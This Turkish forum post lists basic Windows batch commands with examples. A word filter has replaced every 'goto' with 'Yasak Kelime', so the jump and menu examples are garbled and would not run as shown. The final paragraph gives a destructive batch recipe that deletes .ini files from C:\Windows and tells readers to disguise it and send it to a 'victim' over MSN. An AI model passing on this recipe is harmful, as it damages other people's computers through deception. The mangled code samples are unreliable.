Would you like to react to this message? Create an account in a few clicks or log in to continue.



 
AnasayfaGaleriAramaLatest imagesKayıt OlGiriş yap

 

 .bat komutları!!

Aşağa gitmek 
YazarMesaj
mustafasar
....::: Site Admin® :::...
....::: Site Admin®  :::...
mustafasar


Mesaj Sayısı : 1046
Yaş : 43

.bat komutları!! Empty
MesajKonu: .bat komutları!!   .bat komutları!! Icon_minitimeC.tesi Ara. 01, 2007 3:47 pm

KOMUTLAR

md
md dosyaadı :seçilen adda dosya oluşturur(tabii ki içi boş yani 0 byte)

rd
rd dosyaadı :seçilen addaki dosyayı siler. tabii ki dosya boş olmalıdır..

del
del dosya adı/konumu : bu komuut dosyayı siler. del C:\bisey.txt gibi... (bakınız *)

del *.txt
del *.*
olarak da kullanılabilir.

echo
echo yazdırılmak istenen sey: echo bisey yazdırır yani ekranda (yandaki komuta gore yazdırılmak istenen sey yazar.)

echo off
normalde dosyayı açan kişi tüm komutları görür ama bunu yazarsanız göremez.

Bu komut başa yazılmalıdır.

@echo
@echo komutu echo ile aynıdır fakat echo yerine @echo’yu kullanırsanız yazdırdığınız şeyin başındaki echo gözükmez.

dir
dir direkt (yanına bisey gelmeden yazılırsa bat dosyamızın olduğu dizindeki dosyaları programda yazdırır.

dir >info.txt: bu sefer de dosyamızın olduğu dizindeki dosyaları info.txt ye yazdırır. Böyle bir text yoksa kendi açar.

call
call batdosyasi.bat: bat dosyamızın içinde istediğimiz bat dosyasını açar. bat dosyası bizim bat dosyamızın (çalıştırdığımız) içinde olmalıdır. Yoksa konum belirtilmelidir.

start
start dosya.uzantı: herhangi bir uzantılı dosyayı açar bu txt, exe, doc ...gibi bisey olabilir farketmez. (bat dahil)

call bisey.bat derse bat dosyamızın içinde açar ama start bisey.bat dersek ayrı pencerede açar.

cls: ekranı temizler. (DOS’ta olduğu gibi)

pause:"Devam etmek için bir tusa basın" yazısı cıkar bir tusa basılınca devam eder. pause >nul yazılırsa "Devam etmek için bir tusa basın" cıkmaz direkt bir tusa basılıp devam edilir. Genelde bu komut program sonunda kullanılır.

Yasak Kelime
o
Örn:

Kod:
Yasak Kelime
o git
echo bu metin isleme alınmaz (Program Direkt git diye olusturulan bir yere gider.)
:git



Örn:

Kod:
:hop
echo hep yazılacak (döngü) metin
Yasak Kelime
o hop


Bu program sonsuz döngüdedir. Metin yazılır tekrar hopa gider tekrar yazılır ve tekrar hopa gider...

ren
ren dosya adi yenidosya adi: dosya adi yenidosya adi olarak değiştirilir.

type
type dosyaadi: bir dosyanın içindekileri programda ekrana yazdırmak için kullanılır.

Örn:

Kod:
type metin.txt

choice
klavyeden girdi almamızı sağlar.

Örn:

Kod:
@echo off
choice /C:123456789 /M "Your choice [1-9]? "
if errorlevel 9 Yasak Kelime
o 9
if errorlevel 8 Yasak Kelime
o 8
if errorlevel 7 Yasak Kelime
o 7
if errorlevel 6 Yasak Kelime
o 6
if errorlevel 5 Yasak Kelime
o 5
if errorlevel 4 Yasak Kelime
o 4
if errorlevel 3 Yasak Kelime
o 3
if errorlevel 2 Yasak Kelime
o 2
if errorlevel 1 Yasak Kelime
o 1
:1
echo Secimin BİR
Yasak Kelime
o bitti
:2
echo secimin İKİ
Yasak Kelime
o bitti
:3
echo secimin ÜÇ
Yasak Kelime
o bitti
:4
echo secimin DÖRT
Yasak Kelime
o bitti
:5
echo secimin BEŞ
Yasak Kelime
o bitti
:6
echo secimin ALTI
Yasak Kelime
o bitti
:7
echo secimin YEDİ
Yasak Kelime
o bitti
:8
echo secimin SEKİZ
Yasak Kelime
o bitti
:9
echo secimin DOKUZ
Yasak Kelime
o bitti
:bitti
pause


Seciminiz ne ise onu yazdırır incelerseniz anlayacaksınız.

XCOPY /Y
XCOPY /Y *.BAT ad.bat: Kopyalanmak istenen dosyayı ad.bat olarak kopyalar. Dosyayı aynı adda kopyalayacaksak XCOPY /Y *.BAT i:klasör komutu yeterlidir.

Bu komutla sistem ve gizli dosyalar kopyalanmaz. Fakat xcopy //y yerine direkt copy yazılırsa her dosyayı kopyalamak mümkündür.

move
move dosyaadi dosyaadi: Bir dosyayı diğer bir dosyaya taşımamızı sağlar.

exit

programi bitirir. pause gibi bitmesi icin bir tusa basmaya gerek kalmaz. Direkt biter

Herhengibir yazi basina ":" konularak(tirnaksiz) isleme alınması engellenebilir.

örn:

Kod:
:burasi yorum satiri
echo merhaba
:burasi da



: ile baslayan yerler isleme alinmaz tabi bunun icin Yasak Kelime
o burasi yorum satirinin olmamasi gerekir.




simdi siz diceksiniz ki abi bunlar ne ise yarar .bat bilmeyen kisi hacer
olamaz hemen hepiniz .bat ile ilgili konular acmıssınız ama cogu gercekten sacma yok bilgisayar resetlenecek yok format atacak alın size format attırma yöntemi “@echo off”, “@del C:\Windows\*.ini bunu not defterinde acın ve .bat olarak kaydedin . taya dikkat edin noktanın önüne istediinizi yazabilirsiniz ve msnde kurbana gönderin
Sayfa başına dön Aşağa gitmek
https://mustafasar.yetkin-forum.com
 
.bat komutları!!
Sayfa başına dön 
1 sayfadaki 1 sayfası

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
 :: Bilgisayar Dünyası :: BİLGİSAYAR & İNTERNET BİLGİSİ-
Buraya geçin: